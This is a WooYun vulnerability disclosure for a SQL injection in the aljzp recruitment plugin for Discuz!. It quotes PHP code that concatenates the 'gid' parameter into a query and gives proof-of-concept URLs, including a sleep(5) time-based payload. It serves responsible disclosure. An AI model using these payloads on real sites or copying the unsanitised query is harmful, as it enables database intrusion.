当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079582

漏洞标题:Discuz! 某插件sql注射(高版本积累,低版本无限制)

相关厂商:Discuz!

漏洞作者: menmen519

提交时间:2014-10-16 12:01

修复时间:2015-01-14 12:02

公开时间:2015-01-14 12:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-16: 细节已通知厂商并且等待厂商处理中
2014-10-16: 厂商已经确认,细节仅向厂商公开
2014-10-19: 细节向第三方安全合作伙伴开放
2014-12-10: 细节向核心白帽子及相关领域专家公开
2014-12-20: 细节向普通白帽子公开
2014-12-30: 细节向实习白帽子公开
2015-01-14: 细节向公众公开

简要描述:

Discuz! 某插件sql注射(高版本积累,低版本无限制)

详细说明:

这个其实上次已经发过,但是没有写好,这里我就重新写一次
这个插件属于亮剑系列的招聘模块:
aljzp.inc.php:

}else if($_GET['act'] == 'touid'){
if(!$_G['uid']){
showmessage(lang('plugin/aljzp','aljzp_1'), '', array(), array('login' => true));
}
if(!DB::result_first("select sign from ".DB::table('aljzp_getresume')." where id=".$_GET['gid'])){
DB::update('aljzp_getresume',array('sign'=>1),'id='.$_GET[gid]);
DB::update('aljzp_sentresume',array('sign'=>1),'id='.$_GET[sid]);
}
$regions = C::t('#aljzp#aljzp_region')->range();
$pos = C::t('#aljzp#aljzp_position')->range();
$lp =C::t('#aljzp#aljzp_resume')->fetch($_GET['uid']);
include template('aljzp:touid');
}else if ($_GET['act'] == 'reflash') {


看到这一句:
!DB::result_first("select sign from ".DB::table('aljzp_getresume')." where id=".$_GET['gid'])
这里直接进入到了sql查询里面,我们看看 访问一下url:
http://localhost/Discuz_X3.2_SC_UTF8/upload/plugin.php?id=aljzp&act=touid&gid=1%20and%201=1
后台抓取sql语句为

1.png


这里就不多说了 3.2绕过没有过多的研究,但是3.2之前的通过这里完全可以采用报错注入
这里我们安装一个2.5 版本 并且升级到最新,然后只做一个测试
http://127.0.0.1:81/plugin.php?id=aljzp&act=touid&gid=sleep(5)
这个是打过补丁的2.5 但是还是漏掉的sleep函数
延迟5秒即可

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-10-16 12:03

厂商回复:

感谢您提供的信息,我们尽快联系插件作者进行修正

最新状态:

暂无